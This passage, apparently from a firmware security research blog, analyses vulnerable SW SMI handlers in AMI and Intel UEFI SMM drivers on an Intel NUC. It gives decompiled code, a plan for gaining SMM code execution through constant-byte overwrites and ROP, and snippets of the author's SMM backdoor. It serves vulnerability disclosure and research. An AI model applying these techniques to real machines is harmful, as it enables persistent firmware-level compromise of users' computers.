0xb0, addr = 0x8b74ded4, image = NbSmi * 0x8b74c210: SMI = 0xa0, addr = 0x8b73ef80, image = AcpiModeEnable 0x8b74c010: SMI = 0xa1, addr = 0x8b73f06c, image = AcpiModeEnable 0x8b73dd10: SMI = 0x55, addr = 0x8b73c4f0, image = SmramSaveInfoHandlerSmm 0x8b73d310: SMI = 0xd6, addr = 0x8b72c990, image = BootScriptHideSmm 0x8b73d210: SMI = 0xd7, addr = 0x8b72cb20, image = BootScriptHideSmm 0x8b727e10: SMI = 0x61, addr = 0x8b729014, image = CmosSmm 0x8b727a10: SMI = 0xd1, addr = 0x8b72523c, image = SmmHddSecurity 0x8b727910: SMI = 0xd3, addr = 0x8b725528, image = SmmHddSecurity 0x8b727110: SMI = 0xcc, addr = 0x8b719cb8, image = 0x8b718500 * 0x8b715f10: SMI = 0x42, addr = 0x8b716e40, image = 0x8b716000 * 0x8b715b10: SMI = 0x40, addr = 0x8b700c94, image = SdioSmm 0x8b715910: SMI = 0x35, addr = 0x8b6ff100, image = TcgSmm 0x8b715710: SMI = 0x31, addr = 0x8b6e6b7c, image = UsbRt 0x8b715410: SMI = 0xbf, addr = 0x8b6e3d94, image = CrbSmi 0x8b715010: SMI = 0xef, addr = 0x8b6ded90, image = ItkSmmVars * 0x8b6dbf10: SMI = 0x44, addr = 0x8b6ded90, image = ItkSmmVars * 0x8b6db010: SMI = 0x59, addr = 0x8b6baee8, image = PowerMgmtSmm 0x8b6b9e10: SMI = 0x27, addr = 0x8b6bac2c, image = PowerMgmtSmm 0x8b6b9d10: SMI = 0x28, addr = 0x8b6badac, image = PowerMgmtSmm NOTES: * - SW SMI handler uses ReadSaveState()/WriteSaveState()
From the output you may notice that there are several unnamed SMM drivers with several SW SMI handlers — they obviously belong to our SMM backdoor image (SW SMI handler with number 0xCC) and NvramSmi driver that was infected with backdoor code. Probably, someone might find this tool useful not only for reverse engineering purposes, but also for hunting on System Management Mode rootkits. I also want to admit that currently it’s a first known public tool (and I hope not the last) for SMRAM forensics.
The tool was written mostly during my work on Intel NUC firmware reverse engineering and currently significant part of its code is nailed specifically to SMRAM dumps from AMI Aptio V based firmwares (do you still remember that different firmware versions from different vendors usually have different format of certain SMM structures that we have to deal with?). I already started to work on support of Lenovo ThinkPad firmwares, but if you want to do some good thing — take UEFI SMM backdoor, obtain SMRAM dump from your own machine, implement its support in smram_parse.py and send me your pull request.
Exploring SW SMI handlers code
From the output that was shown above, we see 22 SW SMI handlers in 15 different UEFI SMM drivers. In addition, 3 drivers obtain CPU register values from CPU saved state area using EFI_SMM_CPU_PROTOCOL — this information might be interesting because CPU saved state might be used to pass attacker controlled values directly into the SW SMI handler. Now we need to take a quick look over all these handlers without digging too deep and check their code for obvious security flaws.
Each SW SMI handler function has following signature defined in "System Management Mode Core Interface specification":
typedef EFI_STATUS (EFIAPI * EFI_SMM_HANDLER_ENTRY_POINT2)( IN EFI_HANDLE DispatchHandle, IN CONST VOID *Context OPTIONAL, IN OUT VOID *CommBuffer OPTIONAL, IN OUT UINTN *CommBufferSize OPTIONAL );
Context argument usually points to EFI_SMM_SW_CONTEXT structure that allows to determine some information about SW SMI call occurred — like its number (useful when your driver has the same function registered as several different SW SMI handlers) and number of CPU where the SMI was generated:
typedef struct { UINTN SwSmiCpuIndex; UINT8 CommandPort; UINT8 DataPort; } EFI_SMM_SW_CONTEXT;
After an hour of much or less relaxed work, I found some interesting SW SMI handler sub_8B6ECB7C() with number 0x31 that belongs to UsbRt SMM driver. I've already seen SMM driver with same name in other firmwares, which means that it was likely written by AMI. Let’s check the handler code:
EFI_STATUS __cdecl sub_8B6ECB7C( EFI_HANDLE DispatchHandle, VOID *Context, VOID *CommBuffer, UINTN *CommBufferSize) { VOID *v4; // rcx@1 EFI_STATUS result; // eax@5 // get some structure pointer stored in global variable v4 = qword_8B7024F8; if (qword_8B7024F8) { // if global variable is not zero -- clear it qword_8B7024F8 = 0; } else { // // If global variable is zero -- calculate structure address // based on 4 byte unsigned integer stored in 1-st magebyte of // physical memory at 0x40e (attacker controllable) location. // v4 = (VOID *)*(_DWORD *)(*(unsigned short *)0x40E * 0x10 + 0x104); } if (v4) { // pass structure pointer to child function with no sanity checks sub_8B6EC888(v4); result = 0; } else { result = 9; } return result; }
As you can see, it reads attacker controlled two byte word located at 0x40E physical address, then it uses this value to calculate some memory address and read some pointer from that address. Then sub_8B6ECB7C() is passing obtained pointer value into sub_8B6EC888() function as single argument.
Address 0x40E is located in first megabyte of physical memory space and it obviously means some stuff related to legacy BIOS. According to BIOS Data Area memory map — value at 40:0E address contains segment number of memory region called Extended BIOS Data Area (EBDA) with the following layout:
Offset Size Description 00 word number of bytes allocated to EBDA in Kbytes 01-21 21 bytes reserved 22 dword device driver far call pointer 26 byte pointing device flag (1st byte, see below) 27 byte pointing device flag (2nd byte, see below) 28-2F 8 bytes reserved Pointing Device Flag Byte 1 |7|6|5|4|3|2|1|0| Offset 26 | | | | | `------- index count | | | | `-------- reserved (0) | | | `--------- error | | `---------- acknowledge | `----------- resend `------------ command in progress Pointing Device Flag Byte 2 |7|6|5|4|3|2|1|0| Offset 27 | | | | | `------- package size | `-------------- reserved `--------------- device driver far call flag
Pointer value that is being passed into the sub_8B6EC888() by SW SMI handler routine is located at offset 0x104 from the beginning of EBDA, I haven’t found any information about this part of EBDA in any public sources, so, I’m considering that it is used for some OEM or IBV specific magic from legacy BIOS era. Here’s the code of sub_8B6EC888() function that receives attacker controlled pointer value:
void __fastcall sub_8B6EC888(void *SomeStruct) { unsigned __int8 v1; // al@2 if (SomeStruct) { // read byte form the beginning of the structure v1 = *(_BYTE *)SomeStruct; if (!*(_BYTE *)SomeStruct) { LABEL_6: // // Use readed byte as index to call child function which // address is stored in array. // // Each function from off_8B6EBDF0 array accepts attacker // controlled structure pointer as first argument, so, their // code also may contain some useful exploitation primitives. // off_8B6EBDF0[(unsigned __int64)v1](SomeStruct); return; } // some checks to prevent array index overrun if (v1 >= 0x20 && v1 <= 0x38) { v1 -= 0x1F; goto LABEL_6; } // // Write constant value to the structure with attacker controlled // address. It might be used as exploitation primitive to overwrite // arbitrary byte within SMRAM with 0xF0 value. // *((_BYTE *)SomeStruct + 2) = 0xF0; } }
Yay! This function has no sanity checks of received pointer, upon finishing it writes byte with constant value 0xF0 at offset 0x02. Because pointer value that we’re talking about is controlled by attacker, it allows him to pass the pointer of some certain SMRAM structure into the sub_8B6EC888() and overwrite its byte with constant value. It’s not the most powerful exploitation primitive, but it still allows to achieve arbitrary SMM code execution in relatively easy way.
In addition, sub_8B6EC888() function also calls specific child function by attacker controlled index from the statically initialized array located at address 0x8B6EBDF0. Here you can see array contents, these functions also accept the same pointer and heavily work with attacker controlled data what probably can give us even more larger attack surface and more nice exploitation primitives:
seg000:000000008B6EBDF0 off_8B6EBDF0 dq offset sub_8B6ECE80 seg000:000000008B6EBDF8 dq offset sub_8B6ED778 seg000:000000008B6EBE00 dq offset sub_8B6ECF34 seg000:000000008B6EBE08 dq offset sub_8B6ECF60 seg000:000000008B6EBE10 dq offset sub_8B6ECF60 seg000:000000008B6EBE18 dq offset sub_8B6ECF60 seg000:000000008B6EBE20 dq offset sub_8B6ECF68 seg000:000000008B6EBE28 dq offset sub_8B6ECFB4 seg000:000000008B6EBE30 dq offset sub_8B6ECE3C seg000:000000008B6EBE38 dq offset sub_8B6ECF60 seg000:000000008B6EBE40 dq offset sub_8B6ECF60 seg000:000000008B6EBE48 dq offset sub_8B6ECF60 seg000:000000008B6EBE50 dq offset sub_8B6ED79C seg000:000000008B6EBE58 dq offset sub_8B6EDD14 seg000:000000008B6EBE60 dq offset sub_8B6EDEE0 seg000:000000008B6EBE68 dq offset sub_8B6EDF38 seg000:000000008B6EBE70 dq offset sub_8B6ED810 seg000:000000008B6EBE78 dq offset sub_8B6ED984 seg000:000000008B6EBE80 dq offset sub_8B6ED98C seg000:000000008B6EBE88 dq offset sub_8B6EDB74 seg000:000000008B6EBE90 dq offset sub_8B6EDBC8 seg000:000000008B6EBE98 dq offset nullsub_8 seg000:000000008B6EBEA0 dq offset sub_8B6EDAF0 seg000:000000008B6EBEA8 dq offset sub_8B6EDD6C
However, we don’t need to go that deep because arbitrary memory overwrite with constant byte is pretty enough for our purposes. Exploitation of this vulnerability can be done in following steps:
- Find some code or data that affects execution flow and is located at fixed or predictable offset from the beginning of SMRAM. System Management Mode execution environment has its own page tables with all memory protection features available in regular x86_64 long mode. Luckily to us, SMM virtual memory space on machines with modern firmwares is still directly mapped to physical memory space one by one with RWX permissions for every single page. This fact allows us to overwrite long mode part of SMI entry code for the first CPU that is located at offset 0x3D50E5 from the beginning of SMRAM — it’s a good candidate because this offset should be the same for any version of firmware based on AMI Aptio V code base.
- At offset 0x3D5116 SMI entry code has MOV instruction that puts address of some function into RAX register. This function will be called at offset 0x3D5130 to do main part of SMI handling process. We need to trigger SW SMI handler of UsbRt driver with properly configured EBDA to overwrite second argument of this instruction with 0xF0 constant to redirect execution flow from SMI entry to attacker controlled code located outside of SMRAM.
- Then we need to trigger any SMI on first CPU to execute the shellcode. In addition to its usual job, such shellcode also needs to restore the bytes which were overwritten in previous step.
; ; Long mode part of SMI handler code, it is ; located at fixed offset 0xe5 from the beginning ; of the SMI handler entry point. ; seg000:000000008B7D50E5 mov rsp, 8B7C8FF8h ; load address of SMM stack seg000:000000008B7D50EF mov rax, 8B7E0952h ; load address of saved state area seg000:000000008B7D50F9 cmp byte ptr [rax], 0 seg000:000000008B7D50FC jz short loc_8B7D5112 seg000:000000008B7D50FE mov rcx, cs:qword_8B7DCFD0 seg000:000000008B7D5105 mov rdx, cs:qword_8B7DCFC8 seg000:000000008B7D510C mov dr6, rcx ; load SMM debug registers seg000:000000008B7D510F mov dr7, rdx seg000:000000008B7D5112 seg000:000000008B7D5112 loc_8B7D5112: seg000:000000008B7D5112 mov rcx, [rsp] ; ; 8B7E2C74h argument of this instruction (function address) will ; be patched during exploitation. ; seg000:000000008B7D5116 mov rax, 8B7E2C74h seg000:000000008B7D5120 sub rsp, 208h seg000:000000008B7D5127 fxsave qword ptr [rsp] ; save FPU registers seg000:000000008B7D512C add rsp, 0FFFFFFFFFFFFFFE0h ; ; Call sub_8B7E2C74() that does the main part of the ; SMI handling stuff. In case of pathed SMI entry this ; instruction will transfer execution to the shellcode. ; seg000:000000008B7D5130 call rax seg000:000000008B7D5132 add rsp, 20h seg000:000000008B7D5136 fxrstor qword ptr [rsp] ; restore FPU registers seg000:000000008B7D513B mov rax, 8B7E0952h seg000:000000008B7D5145 cmp byte ptr [rax], 0 seg000:000000008B7D5148 jz short loc_8B7D515E seg000:000000008B7D514A mov rdx, dr7 ; save SMM debug registers seg000:000000008B7D514D mov rcx, dr6 seg000:000000008B7D5150 mov cs:qword_8B7DCFC8, rdx seg000:000000008B7D5157 mov cs:qword_8B7DCFD0, rcx seg000:000000008B7D515E seg000:000000008B7D515E loc_8B7D515E: seg000:000000008B7D515E rsm ; resume CPU from saved state
Unfortunately, I faced one problem when described exploit was implemented — my NUC completely hangs at 3-rd step of vulnerability exploitation. UEFI SMM backdoor helped me to verify that SMI entry code was overwritten in proper way, so, there’s only one reason why the exploit might not work.
Starting from Haswell microarchitecture Intel processors support security feature called SMM_Code_Chk_En — when CPU enters into System Management Mode, it prohibits execution of any code located outside of SMRAM region by throwing unrecoverable and unhandleable Machine Check Exception (MCE). It works quite similar to Supervisor Mode Execution Prevention (SMEP) security feature that prohibits to execute ring 0 code located inside user space memory. I had never seen any firmware that actually uses SMM_Code_Chk_En before, so, it seems that now we have at least one interesting challenge of Intel NUC exploitation.
SMM_Code_Chk_En bit is located in MSR_SMM_FEATURE_CONTROL model specific register that has the following description:
Please notice that the Lock bit of MSR_SMM_FEATURE_CONTROL register — when it is set it’s not possible to modify this register value anymore till next full reset. In addition to this I discovered another interesting behaviour of MSR_SMM_FEATURE_CONTROL — when this MSR register is locked you can’t even read its value from non-SMM code.
To indicate that target platform supports SMM_Code_Chk_En feature there’s SMM_Code_Access_Chk bit of MSR_SMM_MCA_CAP register:
To check that Intel NUC firmware actually uses SMM_Code_Chk_En protection I modified UEFI SMM backdoor code to read the values of two model specific registers described above at the end of DXE phase of Platform Initialization:
// required model specific registers numbers #define MSR_SMM_MCA_CAP 0x17D #define MSR_SMM_FEATURE_CONTROL 0x4E0 EFI_STATUS EFIAPI EndOfDxeProtocolNotifyHandler( CONST EFI_GUID *Protocol, VOID *Interface, EFI_HANDLE Handle) { if (g_BackdoorInfo) { // skipped // ... // read model specific registers to the structure located outside of SMRAM g_BackdoorInfo->SmmMcaCap = __readmsr(MSR_SMM_MCA_CAP); g_BackdoorInfo->SmmFeatureControl = __readmsr(MSR_SMM_FEATURE_CONTROL); } return EFI_SUCCESS; } VOID BackdoorEntrySmm(VOID) { EFI_STATUS Status = 0; PVOID Registration = NULL; // skipped // ... // // Register EndOfDxeProtocolNotifyHandler() function to be called at the end // of the DXE phase. // Status = gSmst->SmmRegisterProtocolNotify( &gEfiSmmEndOfDxeProtocolGuid, EndOfDxeProtocolNotifyHandler, &Registration); // skipped // ... }
When modified version of SMM backdoor was loaded we can run SmmBackdoor.py utility to get values of MSR_SMM_FEATURE_CONTROL and MSR_SMM_MCA_CAP registers:
localhost ~ # python SmmBackdoor.py --test ****** Chipsec Linux Kernel module is licensed under GPL 2.0 [+] struct _BACKDOOR_INFO physical address is 0x8a1cc000 [+] BackdoorEntry() calls count is 1 [+] PeriodicTimerDispatch2Handler() calls count is 0 [+] Last status code is 0x00000000 [+] MSR_SMM_MCA_CAP register value is 0xc00000000000000 [+] MSR_SMM_FEATURE_CONTROL register value is 0x0 [+] SMRAM map: address = 0x8b400000, size = 0x00001000, state = 0x1a address = 0x8b401000, size = 0x00001000, state = 0x1a address = 0x8b402000, size = 0x003fe000, state = 0x1a
Yeah, that’s exactly what we expected to see which means that we have to change our exploitation scenario to bypass SMM_Code_Chk_En by, for example, copying our code into SMRAM before its execution.
It’s also interesting to know, that behaviour of SMM_Code_Chk_En feature can be emulated even on older platforms don't have this bit. As it was already said, System Management Mode code has its own page tables with fully functional memory protection mechanisms. It allows firmware developers to prohibit unwanted code execution by setting of NX bit for every PTE entry that describes memory page located outside of SMRAM. I wonder why AMI and Intel devs are missing such great opportunity to make System Management Mode exploitation significantly more expensive in relatively low cost, using this approach you even can make some physical memory pages completely unaccessible from your SMM code — a hand made SMAP for System Management Mode! However, I’m glad that I met at least one machine that actually uses SMM_Code_Chk_En feture, on my memory it’s first non-academical attempt to deploy such exploit mitigation features into SMM.
Also, part IV of "A Tour Beyond BIOS Implementing Profiling in with EDK II" whitepaper from Intel explains applied use-cases of SMM profiling features that present in PiSmmCpuDxeSmm driver from EDK2:
During runtime, when there is an outside SMRAM code or data access, the page fault exception (#PF) is triggered. The #PF handler SmmProfilePFHandler() inserts a record in the profile table and patches the corresponding page table entry to be valid. Then the root #PF handle PageFaultIdtHandlerSmmProfile() enables the single step debug exception and returns to the original instruction
The original code can execute one instruction and then triggers a debug exception (#DB). The #DB handler DebugExceptionHandler() restores the original page table entry in order to catch the page fault exception again.
I think these features might be useful not only for profiling/debugging, but also for exploit mitigation purposes as SMM_Code_Chk_En replacement or, even better, in addition to it.
Other SW SMI handlers vulnerabilities
Because SMM_Code_Chk_En feature makes exploitation of discovered UsbRt driver vulnerability a bit less trivial, I decided to finish my quick audit of registered SW SMI handlers. Who knows, maybe we will able to find some more powerful exploitation primitives like overwriting of arbitrary memory with arbitrary value.
After one vulnerable SW SMI handler was found — we can do our work a bit more simpler and save some time by checking other SW SMI handlers that access EBDA as probably vulnerable high priority targets. To determine whether some SMM driver is accessing EBDA region we can use a simple binary signature. Let’s check assembly code of vulnerable UsbRt SW SMI handler to find it out:
seg000:000000008B6ECB7C sub_8B6ECB7C proc near seg000:000000008B6ECB7C 48 83 EC 28 sub rsp, 28h seg000:000000008B6ECB80 48 8B 05 71 59+ mov rax, cs:qword_8B7024F8 seg000:000000008B6ECB87 48 8B 88 78 6D+ mov rcx, [rax+6D78h] seg000:000000008B6ECB8E 48 85 C9 test rcx, rcx seg000:000000008B6ECB91 74 0A jz short loc_8B6ECB9D seg000:000000008B6ECB93 48 83 A0 78 6D+ and qword ptr [rax+6D78h], 0 seg000:000000008B6ECB9B EB 12 jmp short loc_8B6ECBAF seg000:000000008B6ECB9D seg000:000000008B6ECB9D loc_8B6ECB9D: seg000:000000008B6ECB9D 0F B7 04 25 0E+ movzx eax, word ptr ds:40Eh seg000:000000008B6ECBA5 C1 E0 04 shl eax, 4 seg000:000000008B6ECBA8 05 04 01 00 00 add eax, 104h seg000:000000008B6ECBAD 8B 08 mov ecx, [rax] ; SomeStruct seg000:000000008B6ECBAF seg000:000000008B6ECBAF loc_8B6ECBAF: seg000:000000008B6ECBAF 48 85 C9 test rcx, rcx seg000:000000008B6ECBB2 75 0C jnz short loc_8B6ECBC0 seg000:000000008B6ECBB4 48 B8 09 00 00+ mov rax, 8000000000000009h seg000:000000008B6ECBBE EB 07 jmp short loc_8B6ECBC7 seg000:000000008B6ECBC0 seg000:000000008B6ECBC0 loc_8B6ECBC0: seg000:000000008B6ECBC0 E8 C3 FC FF FF call sub_8B6EC888 seg000:000000008B6ECBC5 33 C0 xor eax, eax seg000:000000008B6ECBC7 seg000:000000008B6ECBC7 loc_8B6ECBC7: seg000:000000008B6ECBC7 48 83 C4 28 add rsp, 28h seg000:000000008B6ECBCB C3 retn seg000:000000008B6ECBCB sub_8B6ECB7C endp
The key part of this function — two assembly instructions at addresses 0x8B6ECB9D and 0x8B6ECBA5, these instructions read EBDA segment number from constant address 0x40E and then convert it to EBDA physical address. It will be pretty sane to assume, that other UEFI SMM drivers from the same vendor that which were built with same toolchain also may use same assembly instructions to access EBDA.
Let’s open NUC flash image in UEFITool and do binary search by signature C1 E0 04 05 04 01 00 00 that represents two assembly instructions shown above:
Signature search for vulnerable UEFI SMM drivers. |
Bingo! In addition to already analysed UsbRt driver UEFITool was able to find two other SMM drivers which have these bytes in their executable images:
Signature search results. |
Binary signature search (especially with relatively short signatures like this one) is not very reliable method to match desired executable code, due to this reason we still need to perform some quick verification to be sure that matched drivers are not false positives and their code actually has SW SMI handlers which use EBDA in the same way as UsbRt driver. It appears that there were no false positives, so, here’s the list of interesting UEFI SMM drivers from Intel NUC firmware:
- GUID = 04EAAAA1-29A1-11D7-8838-00500473D4EB, name = UsbRt (was shown above)
- GUID = E5E2C9D9-5BF5-497E-8860-94F81A09ADE0, name = NvmeSmm
- GUID = EA343100-1A37-4239-A3CB-B92240B935CF, name = SdioSmm
Here’s the code of SW SMI handler 0x42 that belongs to NvmeSmm driver, its pretty much the same as the code of vulnerable 0x31 SW SMI handler that was shown above:
FI_STATUS __cdecl sub_8B716E40( EFI_HANDLE DispatchHandle, VOID *Context, VOID *CommBuffer, UINTN *CommBufferSize) { VOID *v4; // rbx@1 EFI_STATUS v5; // edi@1 signed __int64 v6; // rax@4 EFI_STATUS v7; // esi@4 v4 = *(VOID **)CommBuffer; v5 = 0; byte_8B718250 = 1; if (v4) { *(_QWORD *)CommBuffer = 0; } else { v4 = (VOID *)*(_DWORD *)(*(unsigned int *)0x40E * 0x10 + 0x104); } v6 = sub_8B717E68((unsigned __int64)v4); v7 = v6; if (v6 < 0) { goto LABEL_8; } if (*(_BYTE *)v4 != 0x27 || *((_BYTE *)v4 + 1) >= 0xC) { v5 = v6; LABEL_8: *((_BYTE *)v4 + 2) = 7; return v5; } off_8B7162C0[(unsigned __int64)*((_BYTE *)v4 + 1)](v4); return v7; }
If easy satisfiable input conditions were met, this function writes a byte with value 0x07 at offset 0x02 into the structure with attacker supplied address, it allows to overwrite almost any part of SMRAM with known constant. Also, sub_8B716E40() calls some child function by index in function array at address 0x8B7162C0 with attacker controlled structure pointer as its argument. Just like in case of sub_8B6EC888(), function from UsbRt driver, it leads to exposing large attack surface which might contain some other exploitation primitives.
Let’s check the code of the third vulnerable SW SMI handler with number 0x40 that belongs to SdioSmm UEFI SMM driver:
EFI_STATUS __cdecl sub_8B700C94( EFI_HANDLE DispatchHandle, VOID *Context, VOID *CommBuffer, UINTN *CommBufferSize) { VOID *v4; // rbx@1 byte_8B701FF0 = 1; v4 = (VOID *)*(_DWORD *)(*(unsigned int *)0x40E * 0x10 + 0x104); if (sub_8B701B08((unsigned __int64)v4, 103) < 0 || *(_BYTE *)v4 >= 4) { *((_BYTE *)v4 + 2) = 7; } else { off_8B700818[(unsigned __int64)*(_BYTE *)v4](v4); } return 0; }
Function table at 0x8B00818 used in this SW SMI handler is significantly smaller than function tables used in the sub_8B716E40() and sub_8B6EC888(), but at its end we can see the same statement that allows attacker to overwrite almost any SMRAM location with 0x07 byte. So, now we have a three vulnerable drivers from AMI which have security flaws similar in their nature, but a bit different in details (other constant values, offsets, etc.). The fact that described drivers are using abstractions from legacy BIOS era allows us to assume, that discovered vulnerabilities exist for quite a long time, most likely since the days when AMI decided to switch their software from legacy BIOS code base to EFI one.
To confirm that vulnerabilities are not OEM or product specific and UsbRt, NvmeSmm or SdioSmm drivers with the same security flaws are also present in other firmwares — I decided to find such firmwares in products from OEM’s different than Intel. Luckily, one of my friends shared with me UEFI capsule with the firmware update verion 0801 from his Asus Q170M-C motherboard where I was able to find two of these drivers: UsbRt and NvmeSmm. It’s very cool that in such trivial way I was able to find a several industry wide vulnerabilities that might be present in a lot of computer models with firmware from AMI. To my taste, these vulnerabilities are more interesting from practical perspective than ThinkPwn because they're actually vulnerabilities of SW SMI handlers that can be called over 0xB2 I/O port. In case of ThinkPwn we have a single vulnerability that requires your own implementation of Communicate() function from DXE protocol EFI_SMM_BASE_PROTOCOL to exploit it from running operating system, such limitation isn’t nice simply because implementation of the Communicate() will be model specific and probably even BIOS version specific (actually, that’s why I decided to release my ThinkPwn PoC exploit as UEFI application — it can use existing DXE protocols not available during runtime phase to communicate with vulnerable SMI handler).
What other interesting SW SMI handlers can we check as high priority targets based on some metainformation that we have at this point? From the output of smram_parse.py utility we can notice that it was able to find numerous SW SMI handlers located in three different drivers which use SMM protocol called EFI_SMM_CPU_PROTOCOL. This protocol allows SMM drivers to read and write saved CPU state area located in SMRAM where CPU saves the values of its registers before jumping to SMI entry. With its help SMM driver may receive attacker controlled input for some SMI handler via CPU registers, so, SW SMI handlers of NvramSmi, NbSmm and ItkSmmVars drivers definitely look promising.
Among these three SW SMI handlers I was able to find one vulnerable handler registered with codes 0x44 and 0xEF, this handler belongs to SMM driver called ItkSmmVars:
int __fastcall sub_2D98(__int64 a1, __int64 a2, __int64 a3, __int64 a4) { // skipped // ... v4 = 0; SavedRsi = 0; SavedRbx = 0; v59 = 0; v41 = 0; v55 = 0; if (!a3) { return 0; } if (!a4) { return 0; } v5 = *(_QWORD *)a3; v6 = *(_BYTE *)(a3 + 8); if (*(_QWORD *)a3 == 0xFFFFFFFFFFFFFFFF) { return 0; } // // Read RSI and RBX registers from SMM saved state area, // these values are attacker controlled. // SmmCpu->ReadSaveState(SmmCpu, 4, EFI_SMM_SAVE_STATE_REGISTER_RSI, v5, &SavedRsi); Status = SmmCpu->ReadSaveState(SmmCpu, 4, EFI_SMM_SAVE_STATE_REGISTER_RBX, v5, &SavedRbx); Status_ = Status; if (sub_2CD0(v6)) { return 0; } SavedRsi_ = SavedRsi; if (v6 != 0xEF) { if (v6 == 0x44) { if ((unsigned __int16)*(_DWORD *)SavedRsi != 0xD042) { Status_ = 0x8000000000000002; } if (Status_ >= 0) { sub_2850(SavedRsi); } } return Status_; } // // Current function uses RSI register value as address of some structure // located in physical memory space with no validation. The code reads and // writes this structure fields what allows attacker to overwrite arbitary // memory location with constant values. // // The most part of the code that reads and writes some NVRAM variables // and does other job was stripped to make it more readable. // if ((_WORD)SavedRbx != 0x13) { if (*(_BYTE *)SavedRsi != 0xEF) { Status_ = 0x8000000000000002; } if (Status_ < 0) { goto LABEL_19; } if (*((_BYTE *)SavedRsi + 1) == 1) { // skipped // ... } else if ( *((_BYTE *)SavedRsi + 1) == 2 ) { // skipped // ... } else { if (*((_BYTE *)SavedRsi + 1) != 3) { if (*((_BYTE *)SavedRsi + 1) == 4) { // skipped // ... *(_WORD *)(SavedRsi_ + 0xC) = 0; *(_WORD *)(SavedRsi_ + 4) = 0; *(_DWORD *)(SavedRsi_ + 0xC) = *(_DWORD *)(SavedRsi_ + 0xC); *(_DWORD *)(SavedRsi_ + 4) |= (unsigned __int16)qword_6588; } else { if (*((_BYTE *)SavedRsi + 1) != 5) { Status_ = 0x800000000000000F; LABEL_19: *(_DWORD *)(SavedRsi_ + 0x18) |= 1; goto LABEL_20; } // skipped // ... } goto LABEL_65; } // skipped // ... } LABEL_65: if (Status_ < 0) { goto LABEL_19; } LABEL_66: *(_DWORD *)(SavedRsi_ + 0x18) &= 0xFFFFFFFE; LABEL_20: *(_WORD *)SavedRsi_ = 0; switch (Status_) { case 0x8000000000000002: *(_DWORD *)SavedRsi_ |= 0x8200; break; case 0x8000000000000003: *(_DWORD *)SavedRsi_ |= 0x8600; break; case 0x8000000000000005: *(_DWORD *)SavedRsi_ |= 0x8500; break; case 0x8000000000000007: *(_DWORD *)SavedRsi_ |= 0x8700; break; case 0x800000000000000E: *(_DWORD *)SavedRsi_ |= 0x8E00; break; } return Status_; } // skipped // ... v11 = 0; if (v10 >= 0) { v11 = v58; } v4 = v11 != 0; SavedRbx = v4; // return status of performed operation in RBX register return SmmCpu->WriteSaveState(SmmCpu, 4, EFI_SMM_SAVE_STATE_REGISTER_RBX, v5, &SavedRbx); }
This SW SMI handler receives some structure pointer controlled by attacker in RSI register and does read and write operations with the structure fields without any checks of its address. In the listing shown above significant part of function code was skipped to make it more readable, but at its end you can see switch-case block that allows to write words with constant values at attacker controllable location. Exploitation of such vulnerability is similar to three other vulnerabilities of NUC firmware described in this article, there’s only one difference — SW SMI handler of ItkSmmVars driver likely has no code related to legacy BIOS stuff such as locating of EBDA address. As for the ItkSmmVars itself — based on its name, this driver likely belongs to the framework called Intel Integrator's Kit. Documentation for this framework can be found in public, here’s the short description of its purpose:
Intel Integrator Toolkit allows customization of system BIOS settings and is intended for use only by professional PC system integrators. Incorrect system BIOS settings may cause a system to malfunction, fail to boot, or operate with decreased performance. Incorrect BIOS settings may affect system stability and functionality.
It sounds weird, but it seems that Intel doesn’t know how to write proper UEFI SMM drivers for firmwares of their own computers. I guess now you can imagine how horrible might be the code from other OEM and IBV companies in the world where even platform vendor itself can produce such ridiculously silly vulnerabilities.
Vulnerability exploitation in real conditions
When I've found fourth vulnerability that gives exploitation primitive similar to previous three — I decided to stop my ongoing analysis of other SW SMI handlers code and try to achieve arbitrary SMM code execution with one of vulnerabilities that were already known at this point.
Because of SMM_Code_Chk_En security feature it’s possible to execute only the code located inside SMRAM region defined by SMRR registers, so, before shellcode execution we have to copy it into SMRAM somehow. It can’t be achieved with our exploitation primitives directly because they only allow to write a several different constant values. However, we can do this by corrupting SMM code or data to turn our limited exploitation primitive into a more powerful one that allows to overwrite arbitrary memory location with arbitrary data:
- Vulnerable SW SMI handlers of AMI drivers which were shown in previous parts of the article have similar code that uses statically initialized array of pointers to call some child functions by their numbers.
- Normally, these arrays are located inside SMRAM, but we can use our exploitation primitive to corrupt second argument of MOV or LEA machine instruction of SMM driver that moves address of the array into the register.
- After this we will have a patched machine instruction that uses address of array located in attacker controlled memory instead of original one. Attacker can put there his fake array with entries which point to ROP gadgets instead of original functions and trigger execution of patched SMM code using SW SMI.
- Properly selected ROP gadgets can copy arbitrary values at arbitrary memory addresses or do any other useful things.
Here you can see the code of sub_8B6EDF38() function that can be called from the previously shown sub_8B6EC888(). Address of the sub_8B6EDF38() is located in previously listed array off_8B6EBDF0 at index 15:
int __fastcall sub_8B6EDF38(VOID *SomeStruct) { VOID *v1; // rbx@1 __int64 v2; // rax@1 v1 = SomeStruct; // // This function calls other child function by their index in the // off_8B6EBF28 array with caller specified arguments. // v2 = sub_8B6EDDD0( off_8B6EBF28[(unsigned __int64)*(_BYTE *)(SomeStruct + 1)], *(_QWORD **)(SomeStruct + 3), (*(_DWORD *)(SomeStruct+ 0xB) + 3) & 0xFFFFFFFC ); // report status *(_BYTE *)(v1 + 2) = 0; *(_QWORD *)(v1 + 0xF) = v2; return v2; }
This function gets some value at attacker controlled index from other array off_8B6EBF28 and passes it into the sub_8B6EDD0() as first argument. Second and third arguments of the sub_8B6EDD0() can be directly controlled by attacker, this function contains the most interesting code that allows us to do some wonderful things:
int __fastcall sub_8B6EDDD0(VOID *Func, VOID **Args, unsigned int ArgsLen) { unsigned __int64 v3; // rax@1 signed __int64 v4; // rax@2 signed __int64 v5; // rax@3 signed __int64 v6; // rax@4 signed __int64 v7; // rax@5 signed __int64 v8; // rax@6 signed __int64 v9; // rax@7 int result; // eax@9 v3 = (unsigned __int64)ArgsLen >> 3; if (v3) { v4 = v3 - 1; if (v4) { v5 = v4 - 1; if (v5) { v6 = v5 - 1; if (v6) { v7 = v6 - 1; if (v7) { v8 = v7 - 1; if (v8) { // skipped code for the 6 and 7 arguments // ... } else { // call target function with 5 arguments result = Func(Args[0], Args[1], Args[2], Args[3], Args[4]); } } else { // call target function with 4 arguments result = Func(Args[0], Args[1], Args[2], Args[3]); } } else { // call target function with 3 arguments result = Func(Args[0], Args[1], Args[2]); } } else { // call target function with 2 arguments result = Func(Args[0], Args[1]); } } else { // call target function with 1 arguments result = Func(Args[0]); } } else { // call target function with no arguments result = Func(); } return result; }
